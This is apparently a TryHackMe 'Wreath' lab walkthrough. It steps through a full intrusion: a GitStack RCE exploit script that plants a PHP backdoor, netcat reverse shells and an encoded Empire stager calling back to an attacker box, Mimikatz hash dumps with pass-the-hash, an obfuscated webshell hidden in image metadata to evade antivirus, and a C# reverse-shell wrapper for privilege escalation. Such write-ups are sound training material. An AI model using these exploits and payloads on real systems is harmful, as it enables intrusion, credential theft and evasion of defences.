Navigating the Wreath Network on TryHackMe: A Step-by-Step Guide

Navigating the Wreath Network on TryHackMe: A Step-by-Step Guide

Play this article

Out of the blue, an old friend from university: Thomas Wreath, calls you after several years of no contact. You spend a few minutes catching up before he reveals the real reason he called:

"So I heard you got into hacking? That's awesome! I have a few servers set up on my home network for my projects, I was wondering if you might like to assess them?"

You take a moment to think about it, before deciding to accept the job -- it's for a friend after all.

Turning down his offer of payment, you tell him: Challenge Accepted

This is a comprehensive guide to the Wreath Network designed by MuirlandOracle on TryHackMe. Reading through this will take approximately 30 minutes, and it will take even longer if you follow along while attempting to complete it. I recommend setting aside some time so you can fully appreciate this content, as it has taught me a great deal about enumeration, exploitation, pivoting, command and control, anti-virus evasion, and data exfiltration.

Without further ado, let's get started.

Webserver Enumeration

As with any penetration test, we need to perform a network scan against our target. Our objective is to determine which services are running, and we hope to identify a potential vulnerability in either the service version or a web server operating with weak security controls.

nmap -sC -sV -Pn -p- wreath.thm --min-rate=1000

Our nmap scan reveals 5 ports, but only 4 are open.

  • Port 22: OpenSSH 8.0 [Open]

  • Port 80: HTTP - Apache httpd 2.4.37 (CentOS) [OPEN]

This web server tries to redirect to https://thomaswreath.thm -- We're going to add this to our /etc/hosts lists so we can resolve the address.
  • Port 443: SSL/HTTPS [OPEN]

  • Port 9090: zeus-admin [CLOSED]

  • Port 10000: MiniServ 1.890 [OPEN]

Now that we have identified the running services and added the newly discovered domain to our /etc/hosts list, let's start enumerating the web server directories using ffuf.


Let's start by enumerating https://wreath.thm and see what we can discover.

ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://wreath.thm/FUZZ -fc 302

Unfortunately, this does not return anything. The reason is that the webserver redirects users to https://thomaswreath.thm. So, with this in mind, let's try enumerating that address instead.

ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u https://thomaswreath.thm/FUZZ -fs 15383

Well, this hasn't proven to be very helpful. We didn't obtain anything useful from this scan. So, let's just head over to https://thomaswreath.thm and conduct some manual reconnaissance.

After exploring the website, we discovered a potentially useful phone number: 447821548812. We'll jot this down and keep it handy in case we can use it for leverage later on.

This phone number doesn't prove to be useful; however, it's important to take down as much information as you can gather during a penetration test. There's no such thing as too much intel.

Exploiting CVE-2019-1507

After performing a "Google-fu" search using terms related to MiniServ 1.890 running on Port 10000, we discovered an exploit that allows us to achieve Remote Code Execution (RCE) on the server.

We can utilize the "WebMin 1.890-expired-remote-root" exploit found in this GitHub repository:

git clone
cd WebMin-1.890-Exploit-unauthorized-RCE
chmod +x


./ thomaswreath.thm 10000 cat /root/.ssh/id_rsa

By executing this exploit on https://thomaswreath.thm, we can successfully retrieve the root user's SSH id_rsa key, allowing us to establish our initial foothold.

From here, we can copy and paste this key into a text file and save it as id_rsa. Next, perform the following actions to access the box:

chmod 600 id_rsa
ssh -i id_rsa root@

As evidence that we have obtained root access to the system, we can display the contents of /etc/shadow by using the 'cat' command:


Now comes the fun part: performing pivoting to move to another machine and further our access across the network, gradually approaching our primary target - Thomas' PC.

I got too excited at this point and failed to capture screenshots of my scan results. Nevertheless, we can essentially perform a simple bash ping and port sweep on the target, which will help us identify the next host to pivot to.

Simple Bash Ping Sweep Script:

for i in {1..255}; do (ping -c 10.200.105.${i} | grep "bytes from" &); done

Simple Bash Port Scan Script:

for i in {1..65535}; do (echo > /dev/tcp/$i) >/dev/null 2>&1 && echo $i is open; done

In addition to executing these scripts, we can upload a Netcat binary to perform the same tasks, potentially achieving better results. From here, we need to upload a static binary, which can be downloaded from this repo:

Steps to upload the binary to the target (prod-serv):

  1. Host Python server from our attack box:

     python3 -m http.server 8000
  2. Create /tmp directory.

  3. Download from the victim box:

     curl -L http://<ATTACK_BOX>:8000/nmap --output nmap-reapZ
  4. Make it executable:

     chmod +x nmap-reapZ

Scan: ./nmap-reapZ -sn -oN scan-reapZ -- -sn is used to skip scanning ports and check if hosts are up.

Scan these two newly discovered hosts: and

./nmap-reapZ -p- -Pn --min-rate=1000

./nmap-reapZ -p- -Pn --min-rate=1000

./nmap-reapZ -T4 -p 1-15000

Pivot to GitServer

At this point, we have gathered enough information to start pivoting to the server hosting the development code for the website. To begin, we will connect to the web service running on IP, which we discovered from the internal nmap scan we recently conducted. We will carry this out by using a proxy tool called sshuttle, which essentially creates a tunnel between our attack box and the web service running on the ".150" IP address.

Pivot and connect to the service running on using sshuttle.

Download sshuttle:

sudo apt install sshuttle

Login using the same ssh key:

sshuttle -r root@ --ssh-cmd "ssh -i id_rsa" -N &; ps

Service on is gitstack.

Going to brings us to a login panel. The default credentials admin:admin does not work.

Looking for gitstack on searchsploit reveals an RCE for this service:

searchsploit gitstack

Download it:

searchsploit -m php/webapps/

GitStack (2.3.10) RCE - Code Review

Before reviewing the code, convert the DOS line endings to Linux line endings using either dos2unix ./ or sed -i 's/\r//' ./ (GitStack Exploit) Code:


# Exploit: GitStack 2.3.10 Unauthenticated Remote Code Execution
# Date: 18.01.2018
# Software Link:
# Exploit Author: Kacper Szurek
# Contact:
# Website:
# Category: remote
#1. Description
#$_SERVER['PHP_AUTH_PW'] is directly passed to exec function.
#2. Proof of Concept
import requests
from requests.auth import HTTPBasicAuth
import os
import sys

ip = ''

# What command you want to execute
command = "hostname"

repository = 'rce'
username = 'rce'
password = 'rce'
csrf_token = 'token'

user_list = []

print "[+] Get user list"
    r = requests.get("http://{}/rest/user/".format(ip))
    user_list = r.json()

if len(user_list) > 0:
    username = user_list[0]
    print "[+] Found user {}".format(username)
    r ="http://{}/rest/user/".format(ip), data={'username' : username, 'password' : password})
    print "[+] Create user"

    if not "User created" in r.text and not "User already exist" in r.text:
        print "[-] Cannot create user"

r = requests.get("http://{}/rest/settings/general/webinterface/".format(ip))
if "true" in r.text:
    print "[+] Web repository already enabled"
    print "[+] Enable web repository"
    r = requests.put("http://{}/rest/settings/general/webinterface/".format(ip), data='{"enabled" : "true"}')
    if not "Web interface successfully enabled" in r.text:
        print "[-] Cannot enable web interface"

print "[+] Get repositories list"
r = requests.get("http://{}/rest/repository/".format(ip))
repository_list = r.json()

if len(repository_list) > 0:
    repository = repository_list[0]['name']
    print "[+] Found repository {}".format(repository)
    print "[+] Create repository"

    r ="http://{}/rest/repository/".format(ip), cookies={'csrftoken' : csrf_token}, data={'name' : repository, 'csrfmiddlewaretoken' : csrf_token})
    if not "The repository has been successfully created" in r.text and not "Repository already exist" in r.text:
        print "[-] Cannot create repository"

print "[+] Add user to repository"
r ="http://{}/rest/repository/{}/user/{}/".format(ip, repository, username))

if not "added to" in r.text and not "has already" in r.text:
    print "[-] Cannot add user to repository"

print "[+] Disable access for anyone"
r = requests.delete("http://{}/rest/repository/{}/user/{}/".format(ip, repository, "everyone"))

if not "everyone removed from rce" in r.text and not "not in list" in r.text:
    print "[-] Cannot remove access for anyone"

print "[+] Create backdoor in PHP"
r = requests.get('http://{}/web/index.php?p={}.git&a=summary'.format(ip, repository), auth=HTTPBasicAuth(username, 'p && echo "<?php system($_POST[\'a\']); ?>" > c:\GitStack\gitphp\exploit-reapZ.php'))
print r.text.encode(sys.stdout.encoding, errors='replace')

print "[+] Execute command"
r ="http://{}/web/exploit-reapZ.php".format(ip), data={'a' : command})
print r.text.encode(sys.stdout.encoding, errors='replace')

This code is relatively self-explanatory. We only need to focus on this part:

ip = ''

# What command you want to execute
command = "hostname"

This text specifies the target IP address and the command to be executed on the web server. Once this part is completed, we can begin exploiting the target server.

Exploiting GitServer

With our variables initialized, we can exploit our target

Ensure that sshuttle is connected. If the connection has been lost, reestablish it by entering the following command: sshuttle -r root@ --ssh-cmd "ssh -i id_rsa" -N &; ps



Access the shell using:

curl -X POST -d "a=whoami"

To simplify this process, we can now go to and intercept this request with Burp Suite.

  1. Enable FoxyProxy

  2. Start BurpSuite and turn Intercept on.

  3. Refresh the page and catch the request.

  4. Change the request method to POST.

  5. Add the command variable: a=whoami and send to repeater.

  6. Click Send to see the response.

  7. We can grab the operating system details by typing systeminfo.

Can This Server Communicate Externally?

To ensure a reverse shell successfully connects back to our listener, we must verify if the server can communicate externally. This can be achieved by executing tcpdump on our attacking machine and initiating a ping from the GitServer.

tcpdump -i tun0 icmp

Change the command in Burp Suite to ping -n 3 <ATTACKBOX IP>.

Based on these results, the server is unable to communicate externally.

Capture the Shell

First, we need to open a port on the target box. The reason for this is that CentOS employs a feature called an always-on wrapper around its IPTables firewall. This means the firewall will block anything other than SSH and specific services allowed by the system Administrator. We can modify the permitted ports and enable a reverse shell to connect to our attack box by using this command:

firewall-cmd --zone=public --add-port 15741/tcp

This command enables all inbound connections to the specified port, 15741, and designates the protocol as TCP.

We can open this port directly within the SSH session we have on prod-serv.

From here, we want to upload a Netcat binary, which will allow us to create a listener and capture the reverse shell from the git-serv machine.

Make sure the Python HTTP Server is running, and enter the following command in the prod-serv terminal:

curl -L http://<ATTACK_BOX>:8000/nc --output ./nc-reapZ

Make it executable:

chmod +x nc-reapZ

Now, initiate a listener and intercept the reverse shell transmitted through Burp Suite.

Encode the payload URL by highlighting the code and pressing CTRL+U.

Send the command, and the listener should intercept the shell, granting us access to the Windows git-serv machine.

Stabilization and Post Exploitation

First, we need to create an account for ourselves:

net user reapZ password /add

Then, we want to add our account to the Administrators and Remote Management Users groups:

net localgroup Administrators reapZ /add

net localgroup "Remote Management Users" reapZ /add

Verify that the account has been correctly set up by typing:

net user reapZ

The account is now set up and ready for us to use, ensuring stable access when logging in. Let's proceed to log in using Evil-WinRM.


sudo gem install evil-winrm
evil-winrm -u reapZ -p password -i

Let's also set up a GUI RDP using xfreerdp.


sudo apt install freerdp2-x11
xfreerdp /v: /u:reapZ /p:password +clipboard /dynamic-resolution /drive:/usr/share/windows-resources,share
  1. v = host

  2. u = username

  3. p = password

  4. +clipboard = enables clipboard support

  5. dynamic-resolution = makes it possible to resize the window with the respective resolution

  6. /drive:/usr/share/windows-resources,share = creates a shared drive between our attack box and the target

Now, we can utilize Mimikatz to extract the local account password hashes from the git-serv machine. Let's launch PowerShell as an Administrator.

Run the following command to start Mimikatz:

If you chose a different name for your share then make sure to change it above.

Next, we aim to grant ourselves Debug Privileges and elevate our integrity level to SYSTEM.


Now dump all the SAM local password hashes:

mimikatz # lsadump::sam
Domain : GIT-SERV
SysKey : 0841f6354f4b96d21b99345d07b66571
Local SID : S-1-5-21-3335744492-1614955177-2693036043

SAMKey : f4a3c96f8149df966517ec3554632cf4

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 37db630168e5f82aafa8461e05c6bbd1

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 68b1608793104cca229de9f1dfb6fbae

* Primary:Kerberos-Newer-Keys *
    Default Salt : WIN-1696O63F791Administrator
    Default Iterations : 4096
      aes256_hmac       (4096) : 8f7590c29ffc78998884823b1abbc05e6102a6e86a3ada9040e4f3dcb1a02955
      aes128_hmac       (4096) : 503dd1f25a0baa75791854a6cfbcd402
      des_cbc_md5       (4096) : e3915234101c6b75

* Packages *

* Primary:Kerberos *
    Default Salt : WIN-1696O63F791Administrator
      des_cbc_md5       : e3915234101c6b75

RID  : 000001f5 (501)
User : Guest

RID  : 000001f7 (503)
User : DefaultAccount

RID  : 000001f8 (504)
User : WDAGUtilityAccount
  Hash NTLM: c70854ba88fb4a9c56111facebdf3c36

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : e389f51da73551518c3c2096c0720233

* Primary:Kerberos-Newer-Keys *
    Default Salt : WDAGUtilityAccount
    Default Iterations : 4096
      aes256_hmac       (4096) : 1d916df8ca449782c73dbaeaa060e0785364cf17c18c7ff6c739ceb1d7fdf899
      aes128_hmac       (4096) : 33ee2dbd44efec4add81815442085ffb
      des_cbc_md5       (4096) : b6f1bac2346d9e2c

* Packages *

* Primary:Kerberos *
    Default Salt : WDAGUtilityAccount
      des_cbc_md5       : b6f1bac2346d9e2c

RID  : 000003e9 (1001)
User : Thomas

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 03126107c740a83797806c207553cef7

* Primary:Kerberos-Newer-Keys *
    Default Salt : GIT-SERVThomas
    Default Iterations : 4096
      aes256_hmac       (4096) : 19e69e20a0be21ca1befdc0556b97733c6ac74292ab3be93515786d679de97fe
      aes128_hmac       (4096) : 1fa6575936e4baef3b69cd52ba16cc69
      des_cbc_md5       (4096) : e5add55e76751fbc
      aes256_hmac       (4096) : 9310bacdfd5d7d5a066adbb4b39bc8ad59134c3b6160d8cd0f6e89bec71d05d2
      aes128_hmac       (4096) : 959e87d2ba63409b31693e8c6d34eb55
      des_cbc_md5       (4096) : 7f16a47cef890b3b

* Packages *

* Primary:Kerberos *
    Default Salt : GIT-SERVThomas
      des_cbc_md5       : e5add55e76751fbc
      des_cbc_md5       : 7f16a47cef890b3b

RID  : 000003ea (1002)
User : reapZ
  Hash NTLM: 8846f7eaee8fb117ad06bdd830b7586c

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : d4251486b0c24a7e69c63c36a5a824f9

* Primary:Kerberos-Newer-Keys *
    Default Salt : GIT-SERVreapZ
    Default Iterations : 4096
      aes256_hmac       (4096) : c7af09e3f5441bca9e1b43f604233000b41c1772f565a15eee442035119a9bd2
      aes128_hmac       (4096) : 2750cf795dbeee3199befd2718f34b91
      des_cbc_md5       (4096) : 6b8f61e038377991

* Packages *

* Primary:Kerberos *
    Default Salt : GIT-SERVreapZ
      des_cbc_md5       : 6b8f61e038377991

Let's obtain the NTLM hash for Thomas and practice decrypting it using CrackStation.

From here, we need to carry out a pass-the-hash attack using the Administrator hash obtained from Mimikatz. To do this, we must copy the hash and execute it on our attack box.

evil-winrm -u Administrator -H <NTLM_HASH> -i

Setting Up Empire (C2)

Now that we've gained a foothold, let's establish our command and control server to efficiently manage our agents. We will be using a combination of Empire and Starkiller to accomplish this task. For the majority of the walkthrough in this part, we will be utilizing the CLI, as it's easier for me to manage.


sudo apt install powershell-empire starkiller

Start Empire server:

sudo powershell-empire server

Initialize Empire client:

powershell-empire client

Login to the Starkiller panel with default credentials: empireadmin:password123


Main page:

Create the Listener

We need to choose a listener to establish a connection with our stagers. From the client CLI, type:

uselistener http
set Name CLIHTTP
set Host
set Port 8000


Verify that it is running by entering:


Excellent, it's running. We can also observe it being displayed in Starkiller.

Create the Stager

Stagers are utilized to establish a connection back to our listener, creating an Agent upon execution.

Display available usestager options:


Select multi/bash:

usestager multi/bash

Set the listener to the one we previously defined: CLIHTTP

set Listener CLIHTTP


Once more, we can verify that our stager has been configured in Starkiller:

For now, we will copy the payload and save it as for future use.

Initializing Our Agent

It's time to initialize our Agent. We will start by copying our payload to the prod-serv.

If your SSH connection dropped, connect back using: ssh -i id_rsa root@

Copy, paste, and execute the payload:

echo "import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('aW1wb3J0IHN5czsKaW1wb3J0IHJlLCBzdWJwcm9jZXNzOwpjbWQgPSAicHMgLWVmIHwgZ3JlcCBMaXR0bGVcIFNuaXRjaCB8IGdyZXAgLXYgZ3JlcCIKcHMgPSBzdWJwcm9jZXNzLlBvcGVuKGNtZCwgc2hlbGw9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSkKb3V0LCBlcnIgPSBwcy5jb21tdW5pY2F0ZSgpOwppZiByZS5zZWFyY2goIkxpdHRsZSBTbml0Y2giLCBvdXQuZGVjb2RlKCdVVEYtOCcpKToKICAgc3lzLmV4aXQoKTsKCmltcG9ydCB1cmxsaWIucmVxdWVzdDsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMC41MC4xMDYuMjMxOjgwMDAnO3Q9Jy9sb2dpbi9wcm9jZXNzLnBocCc7CnJlcT11cmxsaWIucmVxdWVzdC5SZXF1ZXN0KHNlcnZlcit0KTsKcHJveHkgPSB1cmxsaWIucmVxdWVzdC5Qcm94eUhhbmRsZXIoKTsKbyA9IHVybGxpYi5yZXF1ZXN0LmJ1aWxkX29wZW5lcihwcm94eSk7Cm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JyxVQSksICgiQ29va2llIiwgInNlc3Npb249NGlMN3pzVDFGRkdldXoySnhaZUc4MzJTTUZVPSIpXTsKdXJsbGliLnJlcXVlc3QuaW5zdGFsbF9vcGVuZXIobyk7CmE9dXJsbGliLnJlcXVlc3QudXJsb3BlbihyZXEpLnJlYWQoKTsKSVY9YVswOjRdOwpkYXRhPWFbNDpdOwprZXk9SVYrJztGVDI2cG4sP2omLnY4fkpzcm8oS2hBQl9ILzo8LTliJy5lbmNvZGUoJ1VURi04Jyk7ClMsaixvdXQ9bGlzdChyYW5nZSgyNTYpKSwwLFtdOwpmb3IgaSBpbiBsaXN0KHJhbmdlKDI1NikpOgogICAgaj0oaitTW2ldK2tleVtpJWxlbihrZXkpXSklMjU2OwogICAgU1tpXSxTW2pdPVNbal0sU1tpXTsKaT1qPTA7CmZvciBjaGFyIGluIGRhdGE6CiAgICBpPShpKzEpJTI1NjsKICAgIGo9KGorU1tpXSklMjU2OwogICAgU1tpXSxTW2pdPVNbal0sU1tpXTsKICAgIG91dC5hcHBlbmQoY2hyKGNoYXJeU1soU1tpXStTW2pdKSUyNTZdKSk7CmV4ZWMoJycuam9pbihvdXQpKTs='));" | python3 &

Ensure that either Empire or Starkiller has received the callback.

Let's engage with the Agent by typing:

interact LQO71Q2O

Run whoami to see who we are:

We will terminate our agent for now and revisit it later.

kill LQO71Q2O

Setup a Callback from GitServer

So, we need to figure out a way to get the GitServer hosting the development site to call back to us. Unfortunately, the server doesn't communicate externally, so we can't easily just throw a netcat binary at it and connect it back to our attack box. We'll need to connect to it via a proxy, which is where a Hop Listener comes into play.

Hop Listeners are essential when an agent cannot call back under normal circumstances. By using this type of listener, we essentially create files to be transferred to our compromised jump server and hosted from there. These are .php files containing instructions to call back to our HTTP listener, eliminating the need to open a port on the compromised machine.

Start listener in Empire:

uselistener http_hop

Set RedirectListener to our previously defined Listener:

set RedirectListener CLIHTTP

Set Host to git-prod webserver:

set Host

Set Port:

set Port 47000

Verify it's set:


This essentially generates various .php files in the specified http_hop directory located in the /tmp folder on our attacking machine.

We will need to replicate this file structure on our jump server for this to function properly.

Callback from http_hop Listener

Now it's time to configure our stager to receive a callback from our http_hop listener.

Select stager:

usestager multi_launcher

Set Listener to http_hop:

use Listener http_hop

Configure the jump server:

mkdir /tmp/hop-reapZ
cd /tmp/hop-reapZ

Zip up the contents from /tmp/http_hop from our attack box and transfer it to prod-serv by typing:

cd /tmp/http_hop && zip -r *

curl --output

Unzip the contents:


Now serve a PHP server with these files:

php -S &>/dev/null &

Verify that it is running by typing:

ss -tulwn | grep 47000

Ensure that port 47000 is open in the firewall:

firewall-cmd --zone=public --add-port 47000/tcp

Now, copy the PowerShell stager to your Burp Suite session, URL encode it by pressing Ctrl + U, and then send it:


Return to Empire and confirm that we have received the new Agent.

Enumerate GitServer

Perfect, we have established a connection with GitServer. We need to enumerate, but we cannot use Nmap since installing it would trigger the anti-virus. We also can't run a scan through the proxy because we are tunneled through two of them. Therefore, we need to examine Empire and determine which modules are available for us to use. After all, they are PowerShell scripts, and we have PowerShell capability on GitServer. However, as a proof of concept, we will upload a Netcat binary via Evil-WinRM.

From Evil-WinRM:

upload /Transfers/ncat.exe C:\Windows\Temp\nc-reapZ.exe

The file path where your netcat binary might be different. Confirm the location by typing: which nc

Easy. However, this method will be conspicuous and might be detected, as it requires writing to the disk. Instead, let's use a script integrated into Empire, which will run in memory and have a lower likelihood of detection.

evil-winrm -u Administrator -H 37db630168e5f82aafa8461e05c6bbd1 -i -s /usr/share/powershell-empire/empire/server/data/module_source/situational_awareness/network/
Invoke-Portscan -Hosts -TopPorts 50


As we did previously, we need to find a method to forward the port on GitServer, allowing us access to Thomas' development website. We can utilize the Chisel tool to establish a forward proxy.

First, we need to open a port in the Windows Firewall:

netsh advfirewall firewall add rule name="Chisel-reapZ" dir=in action=allow protocol=tcp localport=45000

Setup Chisel:

Download Binary (Windows 386 - v1.7.5):


gunzip chisel_1.7.5_windows_386.gz


mv chisel_1.7.5_windows_386.gz chisel-reapZ.exe

Upload via Evil-WinRM:

upload /Transfers/chisel-reapZ.exe C:\Windows\Temp\chisel-reapZ.exe

Initialize the Chisel Server on Thomas's PC:

.\chisel-reapZ.exe server -p 45000 --socks5

Initialize the Chisel Client on our attack box:

chisel client 9090:socks

Ensure you're running versions older than 1.8.1 as this version does not work. I used version 1.7.5 for this session.

Ensure you have FoxyProxy configured and enabled:

If everything has been set up correctly, we should be able to access the development site at

Wappalyzer Results:

Extracting Data from Git

It's time to compare the development site with the live production site. We will download the .git repository from the git-serv and reassemble it on our attack machine for analysis.

Location of .git repository:


Download using Evil-WinRM:

download C:\GitStack\repositories\Website.git

Next, we aim to reconstruct the website. We can utilize a tool called GitTools for this purpose. Essentially, this tool takes the repository and converts it into a readable format, allowing us to work with it more effectively.

cd into /Website.git and download GitTools into it:

git clone
GitTools/Extractor/ . Website

Each of these directories corresponds to a previous commit. Unfortunately, they are not sorted by date, so we need to find a method to arrange them accordingly.

We can use a bash one-liner for this:

separator="======================================="; for i in $(ls); do printf "\n\n$separator\n\033[4;1m$i\033[0m\n$(cat $i/commit-meta.txt)\n"; done; printf "\n\n$separator\n\n\n"

We can see three different commit comments: Static Website Commit, Updated the filter, and Initial Commit for the back-end.

To determine the commit order, we identify the commit with no parent and compare it to the other commits:

  1. 70dde80cc19ec76704567996738894828f4ee895

  2. 82dfc97bec0d7582d485d9031c09abcb5c6b18f2

  3. 345ac8b236064b431fa43f53d91c98c4834ef8f3

Based on the comment from the third commit 345ac8b236064b431fa43f53d91c98c4834ef8f3, we will analyze the filter and determine if it is possible to bypass security controls.

Website Code Analysis

First, we need to locate a PHP file to identify potential vulnerabilities. We can accomplish this by searching for .php files using a wildcard in the directory.

Change Directory:

cd 1-345ac8b236064b431fa43f53d91c98c4834ef8f3

Look for a PHP file:

find . -name "*.php"

Analyze the code:


    if(isset($_POST["upload"]) && is_uploaded_file($_FILES["file"]["tmp_name"])){
        $target = "uploads/".basename($_FILES["file"]["name"]);
        $goodExts = ["jpg", "jpeg", "png", "gif"];
            header("location: ./?msg=Exists");
        $size = getimagesize($_FILES["file"]["tmp_name"]);
        if(!in_array(explode(".", $_FILES["file"]["name"])[1], $goodExts) || !$size){
            header("location: ./?msg=Fail");
        move_uploaded_file($_FILES["file"]["tmp_name"], $target);    
        header("location: ./?msg=Success");
    } else if ($_SERVER["REQUEST_METHOD"] == "post"){
        header("location: ./?msg=Method");

        $msg = $_GET["msg"];
        switch ($msg) {
            case "Success":
                $res = "File uploaded successfully!";
            case "Fail":
                $res = "Invalid File Type";
            case "Exists":
                $res = "File already exists";
            case "Method":
                $res = "No file send";

<!DOCTYPE html>
<html lang=en>
    <!-- ToDo:
          - Finish the styling: it looks awful
          - Get Ruby more food. Greedy animal is going through it too fast
          - Upgrade the filter on this page. Can't rely on basic auth for everything
          - Phone Mrs Walker about the neighbourhood watch meetings
        <title>Ruby Pictures</title>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <link rel="stylesheet" type="text/css" href="assets/css/Andika.css">
        <link rel="stylesheet" type="text/css" href="assets/css/styles.css">
            <h1>Welcome Thomas!</h1>
            <h2>Ruby Image Upload Page</h2>
            <form method="post" enctype="multipart/form-data">
                <input type="file" name="file" id="fileEntry" required, accept="image/jpeg,image/png,image/gif">
                <input type="submit" name="upload" id="fileSubmit" value="Upload">
            <p id=res><?php if (isset($res)){ echo $res; };?></p>

Analyzing the code below reveals two things: we can bypass the filter by including an additional extension, and there is a whitelist filter in place to allow only these approved extensions: .jpg, .jpeg, .png, .gif.

if(isset($_POST["upload"]) && is_uploaded_file($_FILES["file"]["tmp_name"])){
        $target = "uploads/".basename($_FILES["file"]["name"]);
        $goodExts = ["jpg", "jpeg", "png", "gif"];
            header("location: ./?msg=Exists");
        $size = getimagesize($_FILES["file"]["tmp_name"]);
        if(!in_array(explode(".", $_FILES["file"]["name"])[1], $goodExts) || !$size){
            header("location: ./?msg=Fail");

This line of code:

if(!in_array(explode(".", $_FILES["file"]["name"])[1], $goodExts)

Essentially, it searches for the delimiter, extracts the filename and extension, and then passes them through the filter. The issue arises when a second extension, such as .php, is introduced. In this case, the first extension will pass through the filter as ".jpg", and the second extension will be appended back to the filename, making it accessible as a .php file.

Exploit Proof of Concept

We are presented with a login prompt upon visiting Luckily for us, we obtained some possible credentials earlier when we extracted credentials using Mimikatz.

  • Potential Usernames: Thomas and twreath

  • Potential Password: i<3ruby

  • Successful Login Credentials: Thomas:i<3ruby

Upon uploading an image featuring a .jpg extension, the following is returned:

However, when uploading a file that is not included in the whitelist filter, the following message is returned:

We already know that we can append a second extension, .php, to bypass the first filter, but bypassing the second filter will be slightly more challenging. Considering that the getimagesize() function of the filter checks for attributes of an image, we can meet those requirements while also including a PHP webshell in the Comment field of the image metadata by using exiftool.

cp realimage.jpg shell.jpg.php
exiftool shell.jpg.php

Now, we aim to insert a PHP payload into the file's metadata:

exiftool -Comment="<?php echo \"<pre>Test Payload</pre>\"; die(); ?>" shell.jpg.php

After uploading the file and navigating to, we are presented with the following:

This is excellent news, as it indicates that we have achieved Remote Code Execution (RCE) on the server. However, we will refrain from uploading a shell at this time, as we are uncertain about the antivirus software installed on Thomas' machine and wish to avoid triggering any alarms. We will return to this issue after obfuscating our file to evade Antivirus (AV) detection.

Antivirus Evasion

PHP obfuscation entails implementing a variety of transformations to PHP code, including altering variable names, eliminating whitespace, encoding strings, and incorporating extraneous code. This process increases the code's complexity and makes it harder for humans to understand during static analysis and for antivirus heuristic-based detection systems. Bearing this in mind, let's obfuscate our payload to bypass Thomas' Windows Defender.


    $cmd = $_GET["wreath"];
        echo "<pre>" . shell_exec($cmd) . "</pre>";

We're avoiding the one-liner '<?php system($_GET["cmd"]);?>' to minimize detection as much as possible. In this scenario, being different is advantageous. Moreover, when we obfuscate our code, it will transform into a one-liner anyway.

We will utilize to obfuscate the code.

Obfuscated PHP Code:

<?php $o0=$_GET[base64_decode('d3JlYXRo')];if(isset($o0)){echo base64_decode('PHByZT4=').shell_exec($o0).base64_decode('PC9wcmU+');}die();?>

We need to make a slight modification to ensure that the $ signs don't get recognized as bash variables.

<?php \$o0=\$_GET[base64_decode('d3JlYXRo')];if(isset(\$o0)){echo base64_decode('PHByZT4=').shell_exec(\$o0).base64_decode('PC9wcmU+');}die();?>

Now, we can set up our payload for deployment:

exiftool -Comment="<?php \$o0=\$_GET[base64_decode('d3JlYXRo')];if(isset(\$o0)){echo base64_decode('PHByZT4=').shell_exec(\$o0).base64_decode('PC9wcmU+');}die();?>" shell-reapZ.jpg.php

Upload the file and go to:

If everything went according to plan, we should receive an output like this:

This means we have RCE capability:

Compiling Netcat and Reverse Shell

There are multiple ways to try and gain a reverse shell on Thomas' PC. However, we need to be very careful not to trigger Windows Defender. Using a PowerShell reverse shell seems like a good idea, but Windows Defender would detect it in a split second. We know there's a PHP interpreter on the machine, as that's how we obtained RCE in the first place, but we won't go this route because PHP shells can be a bit finicky. We're going to go with the old trusty netcat binary, but not just any binary—one that is less likely to be detected by Windows Defender.

Clone Repository:

git clone

Start Python Server:

python3 -m http.server 8002

Upload via curl:

curl http://<ATTACK_BOX_IP>:8002/nc64.exe -o C:\\Windows\\Temp\\nc-reapZ.exe

Next, we need to initiate a Netcat listener on our attack box:

rlwrap -cAr nc -lvnp 13337

Call it from the web shell:

powershell.exe c:\\windows\\temp\\nc-reapZ.exe <ATTACK_BOX_IP> 13337 -e cmd.exe

Enumerate Thomas' PC

whoami /priv

Check current user groups:

whoami /groups

Let's search for non-standard services:

wmic service get name,displayname,pathname,startmode | findstr /v /i "C:\Windows"

This command lists all the services on the system and then filters only those services located outside of the C:\Windows directory. Immediately, we can see that the service SystemExplorerHelpService has a PathName that is missing quotes, which essentially means we can upload a payload as System.exe and initiate our privilege escalation. Running sc qc SystemExplorerHelpService informs us that the service is running as LocalSystem.

Let's verify that we can actually write to it:

powershell "get-acl -Path 'C:\Program Files (x86)\System Explorer' | format-list"

Perfect, we have full control of this directory.

Privesc and Root

Considering that we already have Netcat on the machine, all we need to do is create a simple wrapper program that will execute Netcat as NT AUTHORITY\SYSTEM and connect back to our listener. We will disguise it as System.exe to exploit the unquoted service path vulnerability found in SystemExplorerHelpService.

Install the compiler mono:

sudo apt install mono-devel

Open a file called Wrapper.cs:

gedit Wrapper.cs

Add the necessary imports to make use of code from other namespaces, which will grant us access to essential functions.

using System;
using System.Diagnostics;

These will enable us to start Netcat. Next, we need to initialize a namespace and a class for our program.

namespace Wrapper {
    class Program {
        static void Main() {
            // Netcat reverse shell here

Now, we can incorporate our reverse shell.

Process proc = new Process();
ProcessStartInfo procInfo = new ProcessStartInfo("c:\\windows\\temp\\nc-reapZ.exe", "<ATTACK_BOX_IP> 13337 -e cmd.exe");

We need to ensure that the program does not generate a GUI window upon execution.

procInfo.CreateNoWindow = true;
proc.StartInfo = procInfo;

Completed Program:

using System;
using System.Diagnostics;

namespace Wrapper {
    class Program {
        static void Main() {
            Process proc = new Process();
            ProcessStartInfo procInfo = new ProcessStartInfo("c:\\windows\\temp\\nc-reapZ.exe", "<ATTACK_BOX_IP> 13337 -e cmd.exe");
            procInfo.CreateNoWindow = true;
            proc.StartInfo = procInfo;

Now, we can compile our program using the Mono mcs compiler by executing the following command:

mcs Wrapper.cs

